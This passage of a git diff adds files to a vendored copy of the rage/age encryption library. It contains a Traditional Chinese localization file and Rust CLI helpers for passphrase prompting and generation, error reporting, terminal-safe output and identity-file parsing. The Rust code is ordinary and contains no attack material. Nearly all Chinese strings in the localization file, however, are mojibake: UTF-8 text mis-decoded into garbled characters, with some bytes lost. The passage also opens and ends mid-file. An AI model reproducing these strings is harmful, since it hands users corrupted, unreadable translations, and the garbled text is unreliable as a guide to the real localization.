请在此创建新议题 (issue): + + {$new_issue} diff --git a/lib/rage/age/i18n/zh-TW/age.ftl b/lib/rage/age/i18n/zh-TW/age.ftl new file mode 100644 index 0000000..3caa462 --- /dev/null +++ b/lib/rage/age/i18n/zh-TW/age.ftl @@ -0,0 +1,102 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = 必輸入內容 +cli-secret-input-mismatch = 所輸內容ä¸åŒ¹é… + +cli-passphrase-desc = 輸入密碼短語 (留空則自動生æˆå¼·å¯†ç¢¼çŸ­èªž) +cli-passphrase-prompt = 密碼短語 +cli-passphrase-confirm = 確èªå¯†ç¢¼çŸ­èªž + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = è¢«æˆªæ–·ï¼›è«‹æŽ¡ç”¨ç®¡é“ ï¼ˆpipe)ã€é‡å®šå‘ (redirectï¼‰ã€æˆ– {-flag-output} 以解密整個文件 + +err-detected-binary = 檢測到未能列å°çš„æ•¸æ“šï¼›æ‹’絕輸出至終端。 +rec-detected-binary = 採用 '{-output-stdout}' 強制列å°ã€‚ + +err-deny-binary-output = 拒絕輸出二進ä½å…§å®¹è‡³çµ‚端。 +rec-deny-binary-output = æ‚¨æ˜¯ä¸æ˜¯è¦æŽ¡ç”¨ {-flag-armor}? {rec-detected-binary} + +## Errors + +err-decryption-failed = 解密失敗 + +err-excessive-work = å¯†ç¢¼çŸ­èªžçš„å·¥ä½œåƒæ•¸ (work parameter) éŽé«˜ã€‚ +rec-excessive-work = è§£å¯†å¤§ç´„éœ€è¦ {$duration} ç§’ + +err-header-invalid = 標頭無效 + +err-header-mac-invalid = 標頭消æ¯èªè­‰ç¢¼ (MAC) 無效 + +err-key-decryption = 未能解密加密密鑰 + +err-missing-recipients = 缺少接收方。 + +err-no-matching-keys = 未æœç´¢åˆ°åŒ¹é…的密鑰 + +err-unknown-format = 未知的 {-age} æ ¼å¼ã€‚ +rec-unknown-format = 您嘗試更新至最新版本了嗎? + +err-read-identity-not-found = 未æœç´¢åˆ°èº«ä»½æ–‡ä»¶ï¼š {$filename} + +err-read-invalid-recipient = 無效接收方 '{$recipient}'。 + +## SSH identities + +ssh-passphrase-prompt = 輸入 {-openssh} 密鑰 '{$filename}' 的密碼短語 + +ssh-unsupported-key = 該 SSH 身份ä¸å—支æŒï¼š {$name} + +ssh-insecure-key-format = + ä¸å®‰å…¨çš„ç§é‘°æ ¼å¼ + -------------- + 在 {-openssh} 7.8 版本之å‰ï¼Œè‹¥åœ¨ç”Ÿæˆæ–° DSAã€ECDSAã€æˆ– RSA 密鑰時設定å£ä»¤, {-ssh-keygen} 會使用 PEM åŠ å¯†æ ¼å¼ + 來加密密鑰。 è©²åŠ å¯†æ ¼å¼æ˜¯ä¸å®‰å…¨çš„ï¼Œä¸”ä¸æ‡‰ç¹¼çºŒä½¿ç”¨ã€‚ + + 若您想將密鑰é·ç§»è‡³åР坆 SSH ç§é‘°æ ¼å¼ (該格å¼å¾ž 2014 一月份的 {-openssh} 6.5 ç‰ˆæœ¬å·²å—æ”¯æŒ), å¯æŽ¡ç”¨æ­¤å‘½ä»¤ä»¥æ›´æ› + 它的密碼短語: + + {" "}{$change_passphrase} + + 若您目å‰ä½¿ç”¨çš„æ˜¯ {-openssh} 6.5 —— 7.7 版本 (例如 Ubuntu 18.04 LTS é»˜èªæä¾›çš„ {-openssh}), å¯æŽ¡ç”¨æ­¤å‘½ä»¤ä»¥ + 強制使用新格å¼ç”Ÿæˆå¯†é‘°ï¼š + + {" "}{$gen_new} + +ssh-unsupported-cipher = + æœªå—æ”¯æŒçš„ SSH 加密密鑰密碼 + ------------------------ + {-openssh} 內部支æŒå¹¾ç¨®ä¸åŒçš„加密鑰密碼 (ciphers),ä½†å…¶ä¸­åªæœ‰å°‘數是直接生æˆçš„。{-rage} æ”¯æŒæ‰€æœ‰ + {-ssh-keygen} å¯ç”Ÿæˆçš„密碼, ä¸¦ä¸”æ­£åœ¨é€²è¡Œæ›´æ–°ï¼Œä»¥åœ¨å€‹æ¡ˆåŸºç¤Žä¸Šæ“´å±•éžæ¨™æº–密碼支æŒã€‚您的密鑰使用的密碼 ({$cipher}) + ç•¶å‰ä¸å—支æŒã€‚ + + 若您希望該密鑰類型å¯å—支æŒ, 請在此創建新議題 (issue): + + {$new_issue} diff --git a/lib/rage/age/src/cli_common.rs b/lib/rage/age/src/cli_common.rs new file mode 100644 index 0000000..c508544 --- /dev/null +++ b/lib/rage/age/src/cli_common.rs @@ -0,0 +1,219 @@ +//! Common helpers for CLI binaries. + +use age_core::secrecy::{ExposeSecret, SecretString}; +use pinentry::{ConfirmationDialog, PassphraseInput}; +use rand::{ + distributions::{Distribution, Uniform}, + rngs::OsRng, + CryptoRng, RngCore, +}; +use rpassword::prompt_password; + +use std::io; +use subtle::ConstantTimeEq; + +use crate::{fl, Callbacks}; + +mod error; +pub use error::ReadError; + +pub mod file_io; + +mod identities; +pub use identities::read_identities; + +mod recipients; +pub use recipients::read_recipients; + +const BIP39_WORDLIST: &str = include_str!("../assets/bip39-english.txt"); + +/// A guard that helps to ensure that standard input is only used once. +pub struct StdinGuard { + stdin_used: bool, +} + +impl StdinGuard { + /// Constructs a new `StdinGuard`. + /// + /// `input_is_stdin` should be set to `true` if standard input is being used for + /// plaintext input during encryption, or ciphertext input during decryption. + pub fn new(input_is_stdin: bool) -> Self { + Self { + stdin_used: input_is_stdin, + } + } + + fn open(&mut self, filename: String) -> Result { + let input = file_io::InputReader::new(Some(filename))?; + if matches!(input, file_io::InputReader::Stdin(_)) { + if self.stdin_used { + return Err(ReadError::MultipleStdin); + } + self.stdin_used = true; + } + Ok(input) + } +} + +fn confirm(query: &str, ok: &str, cancel: Option<&str>) -> pinentry::Result { + if let Some(mut input) = ConfirmationDialog::with_default_binary() { + // pinentry binary is available! + input.with_ok(ok).with_timeout(30); + if let Some(cancel) = cancel { + input.with_cancel(cancel); + } + input.confirm(query) + } else { + // Fall back to CLI interface. + let term = console::Term::stderr(); + let initial = format!("{}: (y/n) ", query); + loop { + term.write_str(&initial)?; + let response = term.read_line()?.to_lowercase(); + if ["y", "yes"].contains(&response.as_str()) { + break Ok(true); + } else if ["n", "no"].contains(&response.as_str()) { + break Ok(false); + } + } + } +} + +/// Requests a secret from the user. +/// +/// If a `pinentry` binary is available on the system, it is used to request the secret. +/// If not, we fall back to requesting directly in the CLI via a TTY. +/// +/// This API does not take the secret directly from stdin, because it is specifically +/// intended to take the secret from a human. +/// +/// # Parameters +/// +/// - `description` is the primary information provided to the user about the secret +/// being requested. It is printed in all cases. +/// - `prompt` is a short phrase such as "Passphrase" or "PIN". It is printed in front of +/// the input field when `pinentry` is used. +/// - `confirm` is an optional short phrase such as "Confirm passphrase". Setting it +/// enables input confirmation. +/// - If `confirm.is_some()` then an empty secret is allowed. +pub fn read_secret( + description: &str, + prompt: &str, + confirm: Option<&str>, +) -> pinentry::Result { + // Check for the pinentry environment variable. If it's not present try to use the default + // binary. + let input = if let Ok(pinentry) = std::env::var("PINENTRY_PROGRAM") { + PassphraseInput::with_binary(pinentry) + } else { + PassphraseInput::with_default_binary() + }; + + if let Some(mut input) = input { + // User-set or default pinentry binary is available! + let mismatch_error = fl!("cli-secret-input-mismatch"); + let empty_error = fl!("cli-secret-input-required"); + input + .with_description(description) + .with_prompt(prompt) + .with_timeout(30); + if let Some(confirm_prompt) = confirm { + input.with_confirmation(confirm_prompt, &mismatch_error); + } else { + input.required(&empty_error); + } + input.interact() + } else { + // Fall back to CLI interface. + let passphrase = prompt_password(format!("{}: ", description)).map(SecretString::from)?; + if let Some(confirm_prompt) = confirm { + let confirm_passphrase = + prompt_password(format!("{}: ", confirm_prompt)).map(SecretString::from)?; + + if !bool::from( + passphrase + .expose_secret() + .as_bytes() + .ct_eq(confirm_passphrase.expose_secret().as_bytes()), + ) { + return Err(pinentry::Error::Io(io::Error::new( + io::ErrorKind::InvalidInput, + fl!("cli-secret-input-mismatch"), + ))); + } + } else if passphrase.expose_secret().is_empty() { + return Err(pinentry::Error::Cancelled); + } + + Ok(passphrase) + } +} + +/// Implementation of age callbacks that makes requests to the user via the UI. +#[derive(Clone, Copy)] +pub struct UiCallbacks; + +impl Callbacks for UiCallbacks { + fn display_message(&self, message: &str) { + eprintln!("{}", message); + } + + fn confirm(&self, message: &str, yes_string: &str, no_string: Option<&str>) -> Option { + confirm(message, yes_string, no_string).ok() + } + + fn request_public_string(&self, description: &str) -> Option { + let term = console::Term::stderr(); + term.write_str(description).ok()?; + term.read_line().ok().filter(|s| !s.is_empty()) + } + + fn request_passphrase(&self, description: &str) -> Option { + read_secret(description, &fl!("cli-passphrase-prompt"), None).ok() + } +} + +/// A passphrase. +pub enum Passphrase { + /// Typed by the user. + Typed(SecretString), + /// Generated. + Generated(SecretString), +} + +impl Passphrase { + /// Generates a secure passphrase. + pub fn random(mut rng: R) -> Self { + let between = Uniform::from(0..2048); + let new_passphrase = (0..10) + .map(|_| { + BIP39_WORDLIST + .lines() + .nth(between.sample(&mut rng)) + .expect("index is in range") + }) + .fold(String::new(), |acc, s| { + if acc.is_empty() { + acc + s + } else { + acc + "-" + s + } + }); + Passphrase::Generated(SecretString::from(new_passphrase)) + } +} + +/// Reads a passphrase from stdin, or generates a secure one if none is provided. +pub fn read_or_generate_passphrase() -> pinentry::Result { + let res = read_secret( + &fl!("cli-passphrase-desc"), + &fl!("cli-passphrase-prompt"), + Some(&fl!("cli-passphrase-confirm")), + )?; + + if res.expose_secret().is_empty() { + Ok(Passphrase::random(OsRng)) + } else { + Ok(Passphrase::Typed(res)) + } +} diff --git a/lib/rage/age/src/cli_common/error.rs b/lib/rage/age/src/cli_common/error.rs new file mode 100644 index 0000000..2769ad1 --- /dev/null +++ b/lib/rage/age/src/cli_common/error.rs @@ -0,0 +1,124 @@ +use std::fmt; +use std::io; + +use crate::{wfl, DecryptError}; + +#[cfg(feature = "plugin")] +use crate::wlnfl; + +/// Errors that can occur while reading recipients or identities. +#[derive(Debug)] +pub enum ReadError { + /// An error occured while decrypting passphrase-encrypted identities. + EncryptedIdentities(DecryptError), + /// An age identity was encrypted without a passphrase. + IdentityEncryptedWithoutPassphrase(String), + /// The given identity file could not be found. + IdentityNotFound(String), + /// The given recipient string is invalid. + InvalidRecipient(String), + /// A recipients file contains non-recipient data. + InvalidRecipientsFile { + /// The given recipients file. + filename: String, + /// The first line containing non-recipient data. + line_number: usize, + }, + /// An I/O error occurred while reading. + Io(io::Error), + /// A required plugin could not be found. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + MissingPlugin { + /// The plugin's binary name. + binary_name: String, + }, + /// The given recipients file could not be found. + MissingRecipientsFile(String), + /// Standard input was used by multiple files. + MultipleStdin, + /// A recipient is an `ssh-rsa` public key with a modulus larger than we support. + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + RsaModulusTooLarge, + /// A recipient is a weak `ssh-rsa` public key with a modulus smaller than 2048 bits. + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + RsaModulusTooSmall, + /// The given identity file contains an SSH key that we know how to parse, but that we + /// do not support. + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + UnsupportedKey(String, crate::ssh::UnsupportedKey), +} + +impl From for ReadError { + fn from(e: io::Error) -> Self { + ReadError::Io(e) + } +} + +impl fmt::Display for ReadError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + ReadError::EncryptedIdentities(e) => e.fmt(f), + ReadError::IdentityEncryptedWithoutPassphrase(filename) => { + wfl!( + f, + "err-read-identity-encrypted-without-passphrase", + filename = filename.as_str(), + ) + } + ReadError::IdentityNotFound(filename) => wfl!( + f, + "err-read-identity-not-found", + filename = filename.as_str(), + ), + ReadError::InvalidRecipient(recipient) => wfl!( + f, + "err-read-invalid-recipient", + recipient = recipient.as_str(), + ), + ReadError::InvalidRecipientsFile { + filename, + line_number, + } => wfl!( + f, + "err-read-invalid-recipients-file", + filename = filename.as_str(), + line_number = line_number, + ), + ReadError::Io(e) => write!(f, "{}", e), + #[cfg(feature = "plugin")] + ReadError::MissingPlugin { binary_name } => { + wlnfl!(f, "err-missing-plugin", plugin_name = binary_name.as_str())?; + wfl!(f, "rec-missing-plugin") + } + ReadError::MissingRecipientsFile(filename) => wfl!( + f, + "err-read-missing-recipients-file", + filename = filename.as_str(), + ), + ReadError::MultipleStdin => wfl!(f, "err-read-multiple-stdin"), + #[cfg(feature = "ssh")] + ReadError::RsaModulusTooLarge => { + wfl!(f, "err-read-rsa-modulus-too-large", max_size = 4096) + } + #[cfg(feature = "ssh")] + ReadError::RsaModulusTooSmall => { + wfl!(f, "err-read-rsa-modulus-too-small") + } + #[cfg(feature = "ssh")] + ReadError::UnsupportedKey(filename, k) => k.display(f, Some(filename.as_str())), + } + } +} + +impl std::error::Error for ReadError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + Self::Io(inner) => Some(inner), + _ => None, + } + } +} diff --git a/lib/rage/age/src/cli_common/file_io.rs b/lib/rage/age/src/cli_common/file_io.rs new file mode 100644 index 0000000..7275df8 --- /dev/null +++ b/lib/rage/age/src/cli_common/file_io.rs @@ -0,0 +1,474 @@ +//! File I/O helpers for CLI binaries. + +use std::fmt; +use std::fs::{File, OpenOptions}; +use std::io::{self, Read, Write}; +use std::path::Path; + +#[cfg(unix)] +use std::os::unix::fs::OpenOptionsExt; + +use is_terminal::IsTerminal; +use zeroize::Zeroize; + +use crate::{fl, util::LINE_ENDING, wfl, wlnfl}; + +const SHORT_OUTPUT_LENGTH: usize = 20 * 80; + +#[derive(Debug)] +enum FileError { + DenyBinaryOutput, + DenyOverwriteFile(String), + DetectedBinaryOutput, + InvalidFilename(String), + MissingDirectory(String), +} + +impl fmt::Display for FileError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::DenyBinaryOutput => { + wlnfl!(f, "err-deny-binary-output")?; + wfl!(f, "rec-deny-binary-output") + } + Self::DenyOverwriteFile(filename) => { + wfl!(f, "err-deny-overwrite-file", filename = filename.as_str()) + } + Self::DetectedBinaryOutput => { + wlnfl!(f, "err-detected-binary")?; + wfl!(f, "rec-detected-binary") + } + Self::InvalidFilename(filename) => { + wfl!(f, "err-invalid-filename", filename = filename.as_str()) + } + Self::MissingDirectory(path) => wfl!(f, "err-missing-directory", path = path.as_str()), + } + } +} + +impl std::error::Error for FileError {} + +/// Wrapper around a [`File`]. +pub struct FileReader { + inner: File, + filename: String, +} + +/// Wrapper around either a file or standard input. +pub enum InputReader { + /// Wrapper around a file. + File(FileReader), + /// Wrapper around standard input. + Stdin(io::Stdin), +} + +impl InputReader { + /// Reads input from the given filename, or standard input if `None` or `Some("-")`. + pub fn new(input: Option) -> io::Result { + if let Some(filename) = input { + // Respect the Unix convention that "-" as an input filename + // parameter is an explicit request to use standard input. + if filename != "-" { + return Ok(InputReader::File(FileReader { + inner: File::open(&filename)?, + filename, + })); + } + } + + Ok(InputReader::Stdin(io::stdin())) + } + + /// Returns true if this input is from a terminal, and a user is likely typing it. + pub fn is_terminal(&self) -> bool { + matches!(self, Self::Stdin(_)) && io::stdin().is_terminal() + } + + pub(crate) fn filename(&self) -> Option<&str> { + if let Self::File(f) = self { + Some(&f.filename) + } else { + None + } + } +} + +impl Read for InputReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + match self { + InputReader::File(f) => f.inner.read(buf), + InputReader::Stdin(handle) => handle.read(buf), + } + } +} + +/// A stdout write that optionally buffers the entire output before writing. +#[derive(Debug)] +enum StdoutBuffer { + Direct(io::Stdout), + Buffered(Vec), +} + +impl StdoutBuffer { + fn direct() -> Self { + Self::Direct(io::stdout()) + } + + fn buffered() -> Self { + Self::Buffered(Vec::with_capacity(8 * 1024 * 1024)) + } +} + +impl Write for StdoutBuffer { + fn write(&mut self, data: &[u8]) -> io::Result { + match self { + StdoutBuffer::Direct(w) => w.write(data), + StdoutBuffer::Buffered(buf) => { + // If we need to re-allocate the buffer, do so manually so we can zeroize. + if buf.len() + data.len() > buf.capacity() { + let mut new_buf = Vec::with_capacity(std::cmp::max( + buf.capacity() * 2, + buf.capacity() + data.len(), + )); + new_buf.extend_from_slice(buf); + buf.zeroize(); + *buf = new_buf; + } + + buf.extend_from_slice(data); + Ok(data.len()) + } + } + } + + fn flush(&mut self) -> io::Result<()> { + match self { + StdoutBuffer::Direct(w) => w.flush(), + StdoutBuffer::Buffered(buf) => { + let mut w = io::stdout(); + w.write_all(buf)?; + buf.zeroize(); + buf.clear(); + w.flush() + } + } + } +} + +impl Drop for StdoutBuffer { + fn drop(&mut self) { + // Destructors should not panic, so we ignore a failed flush. + let _ = self.flush(); + } +} + +/// The data format being written out. +#[derive(Debug)] +pub enum OutputFormat { + /// Binary data that should not be sent to a TTY by default. + Binary, + /// Text data that is acceptable to send to a TTY. + Text, + /// Unknown data format; try to avoid sending binary data to a TTY. + Unknown, +} + +/// Writer that wraps standard output to handle TTYs nicely. +#[derive(Debug)] +pub struct StdoutWriter { + inner: StdoutBuffer, + count: usize, + format: OutputFormat, + is_tty: bool, + truncated: bool, +} + +impl StdoutWriter { + fn new(format: OutputFormat, is_tty: bool, input_is_tty: bool) -> Self { + StdoutWriter { + // If the input comes from a TTY and the output will go to a TTY, buffer the + // output so it doesn't get in the way of typing the input. + inner: if input_is_tty && is_tty { + StdoutBuffer::buffered() + } else { + StdoutBuffer::direct() + }, + count: 0, + format, + is_tty, + truncated: false, + } + } +} + +impl Write for StdoutWriter { + fn write(&mut self, data: &[u8]) -> io::Result { + if self.is_tty { + if let OutputFormat::Unknown = self.format { + // Don't send unprintable output to TTY + if std::str::from_utf8(data).is_err() { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + FileError::DetectedBinaryOutput, + )); + } + } + + let to_write = if let OutputFormat::Binary = self.format { + // Only occurs if the user has explicitly forced stdout, so don't truncate. + data.len() + } else { + // Drop output if we've truncated already, or need to. + if self.truncated || self.count == SHORT_OUTPUT_LENGTH { + if !self.truncated { + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.inner.write_all(b"[")?; + self.inner.write_all(fl!("cli-truncated-tty").as_bytes())?; + self.inner.write_all(b"]")?; + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.truncated = true; + } + + return io::sink().write(data); + } + + let mut to_write = SHORT_OUTPUT_LENGTH - self.count; + if to_write > data.len() { + to_write = data.len(); + } + to_write + }; + + let mut ret = self.inner.write(&data[..to_write])?; + self.count += to_write; + + if let OutputFormat::Binary = self.format { + // Only occurs if the user has explicitly forced stdout, so don't truncate. + } else { + // If we have reached the output limit with data to spare, + // truncate and drop the remainder. + if self.count == SHORT_OUTPUT_LENGTH && data.len() > to_write { + if !self.truncated { + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.inner.write_all(b"[")?; + self.inner.write_all(fl!("cli-truncated-tty").as_bytes())?; + self.inner.write_all(b"]")?; + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.truncated = true; + } + ret += io::sink().write(&data[to_write..])?; + } + } + + Ok(ret) + } else { + self.inner.write(data) + } + } + + fn flush(&mut self) -> io::Result<()> { + self.inner.flush() + } +} + +/// A lazy [`File`] that is not opened until the first call to [`Write::write`] or +/// [`Write::flush`]. +#[derive(Debug)] +pub struct LazyFile { + filename: String, + allow_overwrite: bool, + #[cfg(unix)] + mode: u32, + file: Option>, +} + +impl LazyFile { + fn get_file(&mut self) -> io::Result<&mut File> { + let filename = &self.filename; + + if self.file.is_none() { + let mut options = OpenOptions::new(); + options.write(true); + if self.allow_overwrite { + options.create(true).truncate(true); + } else { + // In addition to the check in `OutputWriter::new`, we enforce this at + // file opening time to avoid a race condition with the file being + // separately created between `OutputWriter` construction and usage. + options.create_new(true); + } + + #[cfg(unix)] + options.mode(self.mode); + + self.file = Some(options.open(filename)); + } + + self.file + .as_mut() + .unwrap() + .as_mut() + .map_err(|e| io::Error::new(e.kind(), format!("Failed to open file '{}'", filename))) + } +} + +impl io::Write for LazyFile { + fn write(&mut self, buf: &[u8]) -> io::Result { + self.get_file()?.write(buf) + } + + fn flush(&mut self) -> io::Result<()> { + self.get_file()?.flush() + } +} + +/// Wrapper around either a file or standard output. +#[derive(Debug)] +pub enum OutputWriter { + /// Wrapper around a file. + File(LazyFile), + /// Wrapper around standard output. + Stdout(StdoutWriter), +} + +impl OutputWriter { + /// Constructs a new `OutputWriter`. + /// + /// Writes to the file at path `output`, or standard output if `output` is `None` or + /// `Some("-")`. + /// + /// If `allow_overwrite` is `true`, the file at path `output` will be overwritten if + /// it exists. This option has no effect if `output` is `None` or `Some("-")`. + pub fn new( + output: Option, + allow_overwrite: bool, + mut format: OutputFormat, + _mode: u32, + input_is_tty: bool, + ) -> io::Result { + let is_tty = console::user_attended(); + if let Some(filename) = output { + // Respect the Unix convention that "-" as an output filename + // parameter is an explicit request to use standard output. + if filename != "-" { + let file_path = Path::new(&filename); + + // Provide a better error if the filename is invalid, or the directory + // containing the file does not exist (we don't automatically create + // directories). + if let Some(dir_path) = file_path.parent() { + if !(dir_path == Path::new("") || dir_path.exists()) { + return Err(io::Error::new( + io::ErrorKind::NotFound, + FileError::MissingDirectory(dir_path.display().to_string()), + )); + } + } else { + return Err(io::Error::new( + io::ErrorKind::NotFound, + FileError::InvalidFilename(filename), + )); + } + + // We open the file lazily, but as we don't want the caller to assume + // this, we eagerly confirm that the file does not exist if we can't + // overwrite it. + if !allow_overwrite && file_path.exists() { + return Err(io::Error::new( + io::ErrorKind::AlreadyExists, + FileError::DenyOverwriteFile(filename), + )); + } + + return Ok(OutputWriter::File(LazyFile { + filename, + allow_overwrite, + #[cfg(unix)] + mode: _mode, + file: None, + })); + } else { + // User explicitly requested stdout; force the format to binary so that we + // don't try to parse it as UTF-8 in StdoutWriter and perhaps reject it. + format = OutputFormat::Binary; + } + } else if is_tty { + if let OutputFormat::Binary = format { + // If output == Some("-") then this error is skipped. + return Err(io::Error::new( + io::ErrorKind::Other, + FileError::DenyBinaryOutput, + )); + } + } + + Ok(OutputWriter::Stdout(StdoutWriter::new( + format, + is_tty, + input_is_tty, + ))) + } + + /// Returns true if this output is to a terminal, and a user will likely see it. + pub fn is_terminal(&self) -> bool { + match self { + OutputWriter::File(..) => false, + OutputWriter::Stdout(w) => w.is_tty, + } + } +} + +impl Write for OutputWriter { + fn write(&mut self, data: &[u8]) -> io::Result { + match self { + OutputWriter::File(f) => f.write(data), + OutputWriter::Stdout(handle) => handle.write(data), + } + } + + fn flush(&mut self) -> io::Result<()> { + match self { + OutputWriter::File(f) => f.flush(), + OutputWriter::Stdout(handle) => handle.flush(), + } + } +} + +#[cfg(test)] +pub(crate) mod tests { + #[cfg(unix)] + use super::{OutputFormat, OutputWriter}; + #[cfg(unix)] + use std::io::Write; + + #[cfg(unix)] + #[test] + fn lazy_existing_file_allow_overwrite() { + OutputWriter::new( + Some("/dev/null".to_string()), + true, + OutputFormat::Text, + 0o600, + false, + ) + .unwrap() + .flush() + .unwrap(); + } + + #[cfg(unix)] + #[test] + fn lazy_existing_file_forbid_overwrite() { + use std::io; + + let e = OutputWriter::new( + Some("/dev/null".to_string()), + false, + OutputFormat::Text, + 0o600, + false, + ) + .unwrap_err(); + assert_eq!(e.kind(), io::ErrorKind::AlreadyExists); + } +} diff --git a/lib/rage/age/src/cli_common/identities.rs b/lib/rage/age/src/cli_common/identities.rs new file mode 100644 index 0000000..e9625a3 --- /dev/null +++ b/lib/rage/age/src/cli_common/identities.rs @@ -0,0 +1,264 @@ +use std::io::{self, BufReader}; + +use super::{ReadError, StdinGuard, UiCallbacks}; +use crate::{identity::IdentityFile, Identity}; + +#[cfg(feature = "armor")] +use crate::{armor::ArmoredReader, cli_common::file_io::InputReader}; + +/// Reads identities from the provided files. +/// +/// `filenames` may contain at most one entry of `"-"`, which will be interpreted as +/// reading from standard input. An error will be returned if `stdin_guard` is guarding an +/// existing usage of standard input. +pub fn read_identities( + filenames: Vec, + max_work_factor: Option, + stdin_guard: &mut StdinGuard, +) -> Result>, ReadError> { + let mut identities: Vec> = Vec::with_capacity(filenames.len()); + + parse_identity_files::<_, ReadError>( + filenames, + max_work_factor, + stdin_guard, + &mut identities, + #[cfg(feature = "armor")] + |identities, identity| { + identities.push(Box::new(identity)); + Ok(()) + }, + #[cfg(feature = "ssh")] + |identities, _, identity| { + identities.push(Box::new(identity.with_callbacks(UiCallbacks))); + Ok(()) + }, + |identities, identity_file| { + let new_identities = identity_file.into_identities(); + + #[cfg(feature = "plugin")] + let new_identities = new_identities.map_err(|e| match e { + #[cfg(feature = "plugin")] + crate::DecryptError::MissingPlugin { binary_name } => { + ReadError::MissingPlugin { binary_name } + } + // DecryptError::MissingPlugin is the only possible error kind returned by + // IdentityFileEntry::into_identity. + _ => unreachable!(), + })?; + + // IdentityFileEntry::into_identity will never return a MissingPlugin error + // when plugin feature is not enabled. + #[cfg(not(feature = "plugin"))] + let new_identities = new_identities.unwrap(); + + identities.extend(new_identities); + + Ok(()) + }, + )?; + + Ok(identities) +} + +/// Parses the provided identity files. +pub(super) fn parse_identity_files + From>( + filenames: Vec, + _max_work_factor: Option, + stdin_guard: &mut StdinGuard, + ctx: &mut Ctx, + #[cfg(feature = "armor")] encrypted_identity: impl Fn( + &mut Ctx, + crate::encrypted::Identity>, UiCallbacks>, + ) -> Result<(), E>, + #[cfg(feature = "ssh")] ssh_identity: impl Fn(&mut Ctx, &str, crate::ssh::Identity) -> Result<(), E>, + identity_file: impl Fn(&mut Ctx, crate::IdentityFile) -> Result<(), E>, +) -> Result<(), E> { + for filename in filenames { + #[cfg_attr(not(any(feature = "armor", feature = "ssh")), allow(unused_mut))] + let mut reader = + PeekableReader::new(stdin_guard.open(filename.clone()).map_err(|e| match e { + ReadError::Io(e) if matches!(e.kind(), io::ErrorKind::NotFound) => { + ReadError::IdentityNotFound(filename.clone()) + } + _ => e, + })?); + + // Note to future self: the order in which we try parsing formats here is critical + // to the correct behaviour of `PeekableReader::fill_buf`. See the comments in + // that method. + + #[cfg(feature = "armor")] + // Try parsing as an encrypted age identity. + if crate::encrypted::Identity::from_buffer( + ArmoredReader::new_buffered(&mut reader), + Some(filename.clone()), + UiCallbacks, + _max_work_factor, + ) + .is_ok() + { + // Re-parse while taking ownership of the reader. This will always succeed + // because the age ciphertext header size is less than the underlying buffer + // size, but the manual reset here ensures this fails gracefully if for + // whatever reason the underlying buffer size changes unexpectedly. + reader.reset()?; + let identity = crate::encrypted::Identity::from_buffer( + ArmoredReader::new_buffered(reader.inner), + Some(filename.clone()), + UiCallbacks, + _max_work_factor, + ) + .expect("already parsed the age ciphertext header"); + + encrypted_identity( + ctx, + identity.ok_or(ReadError::IdentityEncryptedWithoutPassphrase(filename))?, + )?; + continue; + } + + #[cfg(feature = "armor")] + reader.reset()?; + + // Try parsing as a single multi-line SSH identity. + #[cfg(feature = "ssh")] + match crate::ssh::Identity::from_buffer(&mut reader, Some(filename.clone())) { + Ok(crate::ssh::Identity::Unsupported(k)) => { + return Err(ReadError::UnsupportedKey(filename, k).into()) + } + Ok(identity) => { + ssh_identity(ctx, &filename, identity)?; + continue; + } + Err(_) => (), + } + + #[cfg(feature = "ssh")] + reader.reset()?; + + // Try parsing as multiple single-line age identities. + identity_file( + ctx, + IdentityFile::from_buffer(reader)?.with_callbacks(UiCallbacks), + )?; + } + + Ok(()) +} + +/// Same as default buffer size for `BufReader`, but hard-coded so we know exactly what +/// the buffer size is, and therefore can detect if the entire file fits into a single +/// buffer. +/// +/// This must be at least 71 bytes to ensure the correct behaviour of +/// `PeekableReader::fill_buf`. See the comments in that method. +const PEEKABLE_SIZE: usize = 8 * 1024; + +enum PeekState { + Peeking { consumed: usize }, + Reading, +} + +struct PeekableReader { + inner: BufReader, + state: PeekState, +} + +impl PeekableReader { + fn new(inner: R) -> Self { + Self { + inner: BufReader::with_capacity(PEEKABLE_SIZE, inner), + state: PeekState::Peeking { consumed: 0 }, + } + } + + #[cfg(any(feature = "armor", feature = "ssh"))] + fn reset(&mut self) -> io::Result<()> { + match &mut self.state { + PeekState::Peeking { consumed } => { + *consumed = 0; + Ok(()) + } + PeekState::Reading => Err(io::Error::new( + io::ErrorKind::InvalidInput, + "Tried to reset after the underlying buffer was exceeded.", + )), + } + } +} + +impl io::Read for PeekableReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + match self.state { + PeekState::Peeking { .. } => { + // Perform a read that will never exceed the size of the inner buffer. + use std::io::BufRead; + let nread = { + let mut rem = self.fill_buf()?; + rem.read(buf)? + }; + self.consume(nread); + Ok(nread) + } + PeekState::Reading => self.inner.read(buf), + } + } +} + +impl io::BufRead for PeekableReader { + fn fill_buf(&mut self) -> io::Result<&[u8]> { + match self.state { + PeekState::Peeking { consumed } => { + let inner_len = self.inner.fill_buf()?.len(); + if inner_len == 0 { + // This state only occurs when the underlying data source is empty. + // Don't fall through to change the state to `Reading`, because we can + // always reset an empty stream. + assert_eq!(consumed, 0); + Ok(&[]) + } else if consumed < inner_len { + // Re-call so we aren't extending the lifetime of the mutable borrow + // on 